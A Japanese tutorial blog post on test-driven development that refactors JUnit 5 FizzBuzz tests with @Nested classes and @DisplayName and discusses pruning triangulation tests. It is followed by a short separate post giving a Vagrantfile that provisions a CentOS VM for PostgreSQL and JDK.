@DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Nested - class _3の倍数の時は数の代わりにFizzに変換する { + class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } 原文をそのまま持ってくる感じにしました。 テストを実行してみるとメッセージが変わっています。 確認して欲しいので、現時点のテストコードを置いておきますね。 FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } @Nested class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } テストを実行すると、こんな感じでメッセージの出力が変わります。 output(ビフォー) +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- 1を渡すと文字列1を返す [OK] | +-- 2を渡すと文字列2を返す [OK] | +-- 3を渡すと文字列Fizzを返す [OK] | '-- 5を渡すと文字列Buzzを返す [OK] '-- JUnit Vintage [OK] output(アフター) +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- 1を渡すと文字列1を返す [OK] | +-- 2を渡すと文字列2を返す [OK] | +-- multiples of THREE print Fizz instead of the number [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- 5を渡すと文字列Buzzを返す [OK] '-- JUnit Vintage [OK] 構造化されているので、わかりやすいですね。 環境制約で英文になってますが、これが日本語なら、テストコードどころかテスト結果だけでも「仕様」がわかるでしょう。 output(アフター:日本語だったらバージョン) +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- 1を渡すと文字列1を返す [OK] | +-- 2を渡すと文字列2を返す [OK] | +-- 3の倍数の時は数の代わりにFizzに変換する [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- 5を渡すと文字列Buzzを返す [OK] '-- JUnit Vintage [OK] このまま他のにも適用していきます。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } + @Nested + class convert_number_to_string { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } + } @Nested class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } + @Nested + class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } + } } テストの実行結果を確認して欲しいので、現時点のコードを置いておきます。 FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested class convert_number_to_string { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } } @Nested class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } } テストを実行して、コンソール出力を確認してみましょう。 output(cyber-dojoで見れる状態) +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- multiples of FIVE print Fizz instead of the number [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | +-- multiples of THREE print Fizz instead of the number [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- convert number to string [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] '-- JUnit Vintage [OK] 日本語で実装できていたならこんな感じで出力されることでしょう。(Cyber-dojoではなく、通常の現場の開発ならこれができるはずです。) output(日本語だったらバージョン) +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | +-- 3の倍数の時は数の代わりにFizzに変換する [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- 数を文字列に変換する [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] '-- JUnit Vintage [OK] 最初の頃よりもグッと理解しやすいですね。 適切な構造に見直す 今は、最初からコードを書いているので、違和感は無いですが、初めてテストコードをみると少し違和感を覚えることでしょう。 わかりやすくするために、日本語バージョンの出力で考えてみましょう。 output(現状) | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | +-- 3の倍数の時は数の代わりにFizzに変換する [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- 数を文字列に変換する [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] 引っ掛かるのは「数を文字列に変換する」です。 3の時も5の時も、数を文字列に変換しています。 ということは、この表現では仕様の説明として適切な表現になっていません。 「数を文字列に変換する」は、全ての親だとするのが適切でしょう。 output(「数を文字列に変換する」を親にした状態) | '-- 数を文字列に変換する [OK] | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | +-- 3の倍数の時は数の代わりにFizzに変換する [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- ???????????????????????????????? [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] そうすると1を渡すと文字列1を返すと2を渡すと文字列2を返すに適切なグループ名が必要そうです。 他のテストと並べて考えるとその他の数の時はそのまま文字列に変換するあたりが良さそうです。 ということで、それを適用するとこんな感じを目指した方が良さそうです。 output(「その他の数の時はそのまま文字列に変換する」を適用した状態) | '-- 数を文字列に変換する [OK] | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | +-- 3の倍数の時は数の代わりにFizzに変換する [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- その他の数の時はそのまま文字列に変換する [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] これを見て、さらに思いつきました。 これらのテストは「convertメソッド」を対象にしたテストです。この表現を追加した方がわかりやすそうです。 数を文字列に変換するではなくconvertメソッドは数を文字列に変換するにしてしまいましょう。 ということで、それを適用するとこんな感じを目指しましょう。 output(最終的な期待値) | '-- convertメソッドは数を文字列に変換する [OK] | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | +-- 3の倍数の時は数の代わりにFizzに変換する [OK] | | '-- 3を渡すと文字列Fizzを返す [OK] | '-- その他の数の時はそのまま文字列に変換する [OK] | +-- 1を渡すと文字列1を返す [OK] | '-- 2を渡すと文字列2を返す [OK] 実際に実装してみましょう。 わかりやすくするために、場所の入れ替えが発生していますので、ご注意ください。 また、Cyber-dojo制約でクラス名が英語になってる点はご容赦ください。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } + @Nested + class convert_method_convert_number_to_string { @Nested class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested - class convert_number_to_string { + class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } } + } } ということで、以下のようになるはずです。 FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested class convert_method_convert_number_to_string { @Nested class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } } } } 実際にテストを実施してみましょう。 output +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] | '-- convert method convert number to string [OK] | +-- OTHERS print number [OK] | | +-- 1を渡すと文字列1を返す [OK] | | '-- 2を渡すと文字列2を返す [OK] | +-- multiples of FIVE print Fizz instead of the number [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | '-- multiples of THREE print Fizz instead of the number [OK] | '-- 3を渡すと文字列Fizzを返す [OK] '-- JUnit Vintage [OK] 出力の順序や英語なところは多少気に食わないですが、期待する構造化はできていますね。 仕様書としてもっとわかりやすくする 今の状態でも十分わかりやすくなりましたが、我々が目指すところは「テストコードを仕様書として扱う」ところです。 要は、このテストコードはもっとわかりやすくできます。 具体的に言えば、以下の部分を日本語表現することができます。 output(修正箇所のイメージ) +-- JUnit Jupiter [OK] | '-- FizzBuzzTest [OK] <------------------------------- ここが直せるよ! | '-- convert method convert number to string [OK] | +-- OTHERS print number [OK] | | +-- 1を渡すと文字列1を返す [OK] | | '-- 2を渡すと文字列2を返す [OK] | +-- multiples of FIVE print Fizz instead of the number [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | '-- multiples of THREE print Fizz instead of the number [OK] | '-- 3を渡すと文字列Fizzを返す [OK] '-- JUnit Vintage [OK] どうやるかというと、@DisplayNameアノテーションを用います。 実際に書いてみましょう。 1行追加するだけです。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) +@DisplayName("Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス") public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested class convert_method_convert_number_to_string { @Nested @DisplayName("3の倍数の時は数の代わりにFizzに変換する") class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } } } } 実際にテストを動かしてみましょう。 output +-- JUnit Jupiter [OK] | '-- Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス [OK] | '-- convertメソッドは数を文字列に変換する [OK] | +-- OTHERS print number [OK] | | +-- 1を渡すと文字列1を返す [OK] | | '-- 2を渡すと文字列2を返す [OK] | +-- multiples of FIVE print Fizz instead of the number [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | '-- multiples of THREE print Fizz instead of the number [OK] | '-- 3を渡すと文字列Fizzを返す [OK] '-- JUnit Vintage [OK] 良い感じですね。変わりました。 ここで、一つ気づきました。これが使えるなら、Cyber-dojo環境でもテスト結果が見やすくできそうですね。 サブクラス側にも適用してみましょう。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) @DisplayName("Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス") public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested + @DisplayName("convertメソッドは数を文字列に変換する") class convert_method_convert_number_to_string { @Nested + @DisplayName("3の倍数の時は数の代わりにFizzに変換する") class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested + @DisplayName("5の倍数の時は数の代わりにBuzzに変換する") class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested + @DisplayName("その他の数の時はそのまま文字列に変換する") class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } } } } ということで最終形は以下な感じです。 FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) @DisplayName("Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス") public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested @DisplayName("convertメソッドは数を文字列に変換する") class convert_method_convert_number_to_string { @Nested @DisplayName("3の倍数の時は数の代わりにFizzに変換する") class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested @DisplayName("5の倍数の時は数の代わりにBuzzに変換する") class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested @DisplayName("その他の数の時はそのまま文字列に変換する") class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } @Test void _2を渡すと文字列2を返す() { assertEquals("2", fizzbuzz.convert(2)); } } } } テストを実行してみましょう。 output +-- JUnit Jupiter [OK] | '-- Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス [OK] | '-- convertメソッドは数を文字列に変換する [OK] | +-- その他の数の時はそのまま文字列に変換する [OK] | | +-- 1を渡すと文字列1を返す [OK] | | '-- 2を渡すと文字列2を返す [OK] | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | '-- 3の倍数の時は数の代わりにFizzに変換する [OK] | '-- 3を渡すと文字列Fizzを返す [OK] '-- JUnit Vintage [OK] サイコーですね。完璧です。 とてもわかりやすいですね。 テストのメンテナンスコストに思いを馳せる 不要なテストを消す テストを構造化してみると、少し気づくことがあります。 「3の倍数の時は数の代わりにFizzに変換する」は「1つ」のテスト。 「5の倍数の時は数の代わりにBuzzに変換する」は「1つ」のテスト。 「その他の数の時はそのまま文字列に変換する」は 「2つ」 のテスト。 output(テストの数の確認) +-- JUnit Jupiter [OK] | '-- Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス [OK] | '-- convertメソッドは数を文字列に変換する [OK] | +-- その他の数の時はそのまま文字列に変換する [OK] <------- この分類だけテストが 2つ ある!!! | | +-- 1を渡すと文字列1を返す [OK] | | '-- 2を渡すと文字列2を返す [OK] | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | '-- 3の倍数の時は数の代わりにFizzに変換する [OK] | '-- 3を渡すと文字列Fizzを返す [OK] '-- JUnit Vintage [OK] 新規参画者がこのコードを見た場合、きっと何か意味があって「2つ」にしたのだろうと考えるでしょう。 きっと「PJルールかな?」とか考えたりするでしょう。でも探しても答えは見つかりません。 実装時に三角測量のためだけに作ったテストですから、きっとわざわざドキュメントとして情報を残してたりはしないでしょう。 私が新規参画者だとするなら、答えが見つからない時は、 前任者に倣って 全てのテストを2つずつにしてしまうでしょう。 不安な場合は安全そうな方に倒したくなります。(そのときに論理はありません。不安な感情の圧力は凄まじい。) ただ、全てを知ってる側からすると、これは無駄に見えます。そんなことをしてしまっては、無駄なコードが増えます。 でも、全てを知ることはできません。途中から来た人は、歴史的背景なんてわかりません。目の間のことが全てです。 では、誰がこの無駄なコードの増殖を止めれるでしょうか? 最初にこのテストコードを書いた人だけです。 このテストを実装した人間だけが、ただ三角測量という「実装時の不安」のためだけに増やしたテストだと知っています。 このテストを実装した人間だけが、「その他の数の時はそのまま文字列に変換する」を機能を検証するだけならテストは1つだけで良いことを知っています。 テストを実装した人がテストのメンテナンスを意識しなかった場合、以下のようにテストのメンテナンスコストは膨れていきます。 ということで、テストのメンテナンスコストを抑制するため、不要なテストは削除しましょう。 FizzBuzzTest.java(差分) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) @DisplayName("Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス") public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested @DisplayName("convertメソッドは数を文字列に変換する") class convert_method_convert_number_to_string { @Nested @DisplayName("3の倍数の時は数の代わりにFizzに変換する") class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested @DisplayName("5の倍数の時は数の代わりにBuzzに変換する") class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested @DisplayName("その他の数の時はそのまま文字列に変換する") class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } - @Test - void _2を渡すと文字列2を返す() { - assertEquals("2", fizzbuzz.convert(2)); - } } } } FizzBuzzTest.java(ひとまずのゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) @DisplayName("Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス") public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested @DisplayName("convertメソッドは数を文字列に変換する") class convert_method_convert_number_to_string { @Nested @DisplayName("3の倍数の時は数の代わりにFizzに変換する") class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested @DisplayName("5の倍数の時は数の代わりにBuzzに変換する") class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested @DisplayName("その他の数の時はそのまま文字列に変換する") class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } } } } テストを実行したらこんな感じになります。 ouput +-- JUnit Jupiter [OK] | '-- Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス [OK] | '-- convertメソッドは数を文字列に変換する [OK] | +-- その他の数の時はそのまま文字列に変換する [OK] | | '-- 1を渡すと文字列1を返す [OK] | +-- 5の倍数の時は数の代わりにBuzzに変換する [OK] | | '-- 5を渡すと文字列Buzzを返す [OK] | '-- 3の倍数の時は数の代わりにFizzに変換する [OK] | '-- 3を渡すと文字列Fizzを返す [OK] '-- JUnit Vintage [OK] 個人的な補足:テストの要否 ここはt-wadaさん関係なく、個人的な補足です。 TDDを実践適用しようとすると、テストコードに求めるものが増えてくるように感じます。 (「テストコードの役割をようやく認識できた」っていう方が適切な表現かもしれないですが) 開発者の実装を支援するガードレール(TDDのプロセスでテストコードに期待しているのは主にこの役割) 仕様を伝えるドキュメント(発展系としてBDDに繋がる考え方) 品質保証としてのテスト(TDDの文脈でも触れられてはいるんだけど、実感としては源流が異なる認識) TDDの観点(ガードレールやドキュメントという役割)からすると、「2を渡すと文字列2を返す」は「不要」という判断で良いと思っています。 ただし「品質保証」という観点からするとPJごとによって判断が変わってくると思っています。 例えば、FizzBuzzに「境界値分析」の考え方を適用したとき、以下のようなケースでテストをしよう、という話になることもあると思います。 想像上のFizzBuzzのテストケース選抜イメージ ケースの作成観点 - 数字・Fizz・Buzz・FizzBuzzは、最初と最後の出力は確認しよう。 - 倍数での出力が機能しているか確認したい。 - Fizz・Buzz・FizzBuzzで、それぞれ1倍のケースを検証しよう。 - Fizz・Buzz・FizzBuzzで、2倍・3倍・4倍のケースを散らして検証しよう。 - 境界値の検証をしよう。 - 境界値は以下整理としよう。 - 数字/Fizzの入り口/出口(数字・Fizz・数字の3ケース) - 数字/Buzzの入り口/出口(数字・Buzz・数字の3ケース) - 数字/FizzBuzzの入り口/出口(数字・FizzBuzz・数字の3ケース) - 境界値は最初と最後の両方を見るとちょっと多いので、最初の境界値だけ検証しよう。 実際に検証される数字(16個) (「2」がテスト対象になることもあるよって言いたいだけなので、数字順に説明する書き方をしてます。) - 1は最初の数字だからやろう。 - 2は最初の境界値(数字/Fizzの数字側入口)だからやろう。 - 3は最初のFizzだからやろう。 - 4は最初の境界値(数字/Fizzの数字側出口・数字/Buzzの数字側入口)だからやろう。 - 5は最初のBuzzだからやろう。 - 6は「3の倍数(*2)」であることを確認するためにやろう。 - 15は「5の倍数(*3)」であることを確認するためにやろう。 - 11は最初の境界値(数字/Buzzの数字側出口)だからやろう。 - 14は最初の境界値(数字/FizzBuzzの数字側入口)だからやろう。 - 15は最初のFizzBuzzだからやろう。 - 16は最初の境界値(数字/FizzBuzzの数字側出口)だからやろう。 - 60は「15の倍数(*4)」であることを確認するためにやろう。 - 90は最後の「FizzBuzz」だからやろう。 - 98は最後の「数字」だからやろう。 - 99は最後の「Fizz」だからやろう。 - 100は最後の「Buzz」だからやろう。 みたいな。 正直「FizzBuzzごときに、ここまではやりすぎでは?」と思いますが、金融系などのお金の計算処理などではもしかしたらもっと徹底してテストを書くことになるかもしれません。 そういった場合においては、「2を渡すと文字列2を返す」が「必要」と判断されるケースもあると思っています。 このように、品質保証の観点からすると、PJによって要否の基準って変わると思うので、テストのメンテナンスにどう向き合っていくのかは、PJごとに考えるべきだと思っています。 ここらへん、いろんな考え・視点あると思うので、ぜひコメントいただけたらと思います。(「そう思うよ!」とかだけでも嬉しい。) (QAエンジニアの方からすると、きっとツッコミどこ満載だろうなって思いながら書いてる) ちなみに、以下書籍をよく読むとここら辺に関するケントベックの考えが記載されているので、興味ある方はぜひ読んでみるのが良いと思います。 テストの保守性についてのまとめ テストを構造化しよう:jUnitでは「classと@Nested」を使うと構造化できる。 テストを仕様書として使えるレベルにする:@DisplayNameの活用はもちろん、構造全体として意味の通じるものになっているかも確認しよう。 不要なテストは削除しよう:少なくとも「三角測量」のためだけのテストは不要です。減らしましょう。 不要なテストはPJによって異なる:何を「不要」とするかは、PJによって基準が異なります。周りのメンバーと議論するのが良いでしょう。(記事作成者の私見) 総まとめ FizzBuzz問題の全てを実装したわけではないですが、目的だった「TDDを習得すること」は達成できているのではないでしょうか? この記事を最後まで実施した場合のコードと、各章でまとめた内容を全部持ってきましたので、おさらいして終わりにしましょう。 コード 最終的にはこんな感じです。 FizzBuzz.java(最終ゴール) public class FizzBuzz { public String convert(int num) { if (num % 3 == 0) { return "Fizz"; } if (num % 5 == 0) { return "Buzz"; } return String.valueOf(num); } } FizzBuzzTest.java(最終ゴール) import org.junit.jupiter.api.*; import static org.junit.jupiter.api.Assertions.*; @DisplayNameGeneration(DisplayNameGenerator.ReplaceUnderscores.class) @DisplayName("Fizz Buzz 数列と変換規則を扱う FizzBuzz クラス") public class FizzBuzzTest { private FizzBuzz fizzbuzz; @BeforeEach void 前準備() { fizzbuzz = new FizzBuzz(); } @Nested @DisplayName("convertメソッドは数を文字列に変換する") class convert_method_convert_number_to_string { @Nested @DisplayName("3の倍数の時は数の代わりにFizzに変換する") class multiples_of_THREE_print_Fizz_instead_of_the_number { @Test void _3を渡すと文字列Fizzを返す() { assertEquals("Fizz", fizzbuzz.convert(3)); } } @Nested @DisplayName("5の倍数の時は数の代わりにBuzzに変換する") class multiples_of_FIVE_print_Fizz_instead_of_the_number { @Test void _5を渡すと文字列Buzzを返す() { assertEquals("Buzz", fizzbuzz.convert(5)); } } @Nested @DisplayName("その他の数の時はそのまま文字列に変換する") class OTHERS_print_number { @Test void _1を渡すと文字列1を返す() { assertEquals("1", fizzbuzz.convert(1)); } } } } 今までのまとめ 最初のサイクルについて 最初のサイクルは、非常にやることが多い。 テストクラスの作成 テストツールは正しく動くのか? テスト対象クラスの作成 だからこそ、テスト容易性の高いTODOを選ぶことが大事。 副作用としてひどいコードreturn "1";ができるが、それは以降のTODOで解消していく。 テクニックについて 基本となるテクニック 最初のテストは必ず失敗するテストを書く:jUnitが動くことを確実に確認するためにfail("メッセージ")を使う。 テストは下から書く:下から書くことで、実装目的を明確にできるし、IDEの機能のおかげで効率よく実装できる。 TDDはペアプロ・モブプロに特に効く:テストを下から書くことも合わさり、実装目的が非常に明確になるため、ペアプロ・モブプロ時の半離脱状態を防げる。 仮実装:return "1";といったようなテストを通す最小限の実装を指す。テストコードのテストという意味合いもある。 不安がある時の実装方法 三角測量:二つのテストコードを用いて、仮実装をあるべき実装に変えていくやり方。テストに不安を感じる時に使うテクニック。 三角測量は必要に応じて使う:テストに不安を感じるときに使うテクニック。毎回使う必要はない。 不安がない時の実装方法 明白な実装:テストに不安がなく、実装内容も明白な時は、「仮実装」を経由せずに、「あるべき実装」をしても良い。 リファクタリングに関するテクニック jUnitを何度も回しながらリファクタリングする:バグ混入タイミングで検知できるため、修正が容易。TDDによる非常に大きな恩恵の一つ。 3アウト制:リファクタリングの基準。3回同じコードを書いたらリファクタリングする。(人によっては2アウト制の人も居る) グリーンを維持したままリファクタリングする:レッドの状態でリファクタリングしてはいけない。 小さくリファクタリングする:バグの混入は大きく修正したときに発生する。グリーンを維持したままリファクタリングするために、1つ1つの手順は小さくする。 Refactorを後回しにしてはいけない:「終わり」が来る。 テストの保守性について テストを構造化しよう:jUnitでは「classと@Nested」を使うと構造化できる。 テストを仕様書として使えるレベルにする:@DisplayNameの活用はもちろん、構造全体として意味の通じるものになっているかも確認しよう。 不要なテストは削除しよう:少なくとも「三角測量」のためだけのテストは不要です。減らしましょう。 不要なテストはPJによって異なる:何を「不要」とするかは、PJによって基準が異なります。周りのメンバーと議論するのが良いでしょう。(記事作成者の私見) さいごに 改めてですが、TDDは兎にも角にも「手に馴染ませる」ことが重要なテクニックだと思います。 実践の中でやるとまた違った気づきも多く得られると思います。 ぜひいろんな場面でTDDを実践する人が増えたら良いなと思っております。 最後に改めてですが、書籍を紹介しておきます。 WEB情報(動画や記事)は手軽に入手できますが、その真髄を理解するにはあまり適していない手段だと思っています。 みんなも買おう! 以上です。 一応記事のオリジナリティとして、ブラウザだけで実践した個人的理解を足したりはしてるものの、本編の進め方はもうほんとにそのままなので・・・オマージュとかなんかそういう言葉で逃げられるレベルではない。。。 ↩ 最終兵器彼女構文。この構文、自分ですらジャスト世代かどうか怪しいので、ターゲットにしてる世代に通じる構文ではないだろうな。 漫画:https://www.amazon.co.jp/dp/4091856810 「実を言うと地球はもうだめです。突然こんなこと言ってごめんね。でも本当です。2、3日後にものすごく赤い朝焼けがあります。それが終わりの合図です。程なく大きめの地震が来るので気をつけて。それがやんだら、少しだけ間をおいて終わりがきます。」 ↩
- 投稿日:2022-02-28T12:20:46+09:00
vagrant で postgresql+jdk の環境を準備する
Vagrantfile # -*- mode: ruby -*- # vi: set ft=ruby : Vagrant.configure("2") do |config| config.vm.box = "centos/stream8" config.vm.network "private_network", ip: "192.168.56.10" config.vm.synced_folder ".", "/vagrant", type:"virtualbox" config.vm.provider "virtualbox" do |vb| # vb.gui = true vb.memory = "1024" end #if Vagrant.has_plugin?("vagrant-vbguest") # config.vbguest.auto_update = false #end config.omnibus.chef_version = :latest config.vm.provision "chef_zero" do |chef| chef.install = false chef.cookbooks_path = ["chef-repo/cookbooks", "chef-repo/site-cookbooks"] chef.nodes_path = ["chef-repo/nodes"] chef.node_name = "server" chef.arguments = "--chef-license accept" end end 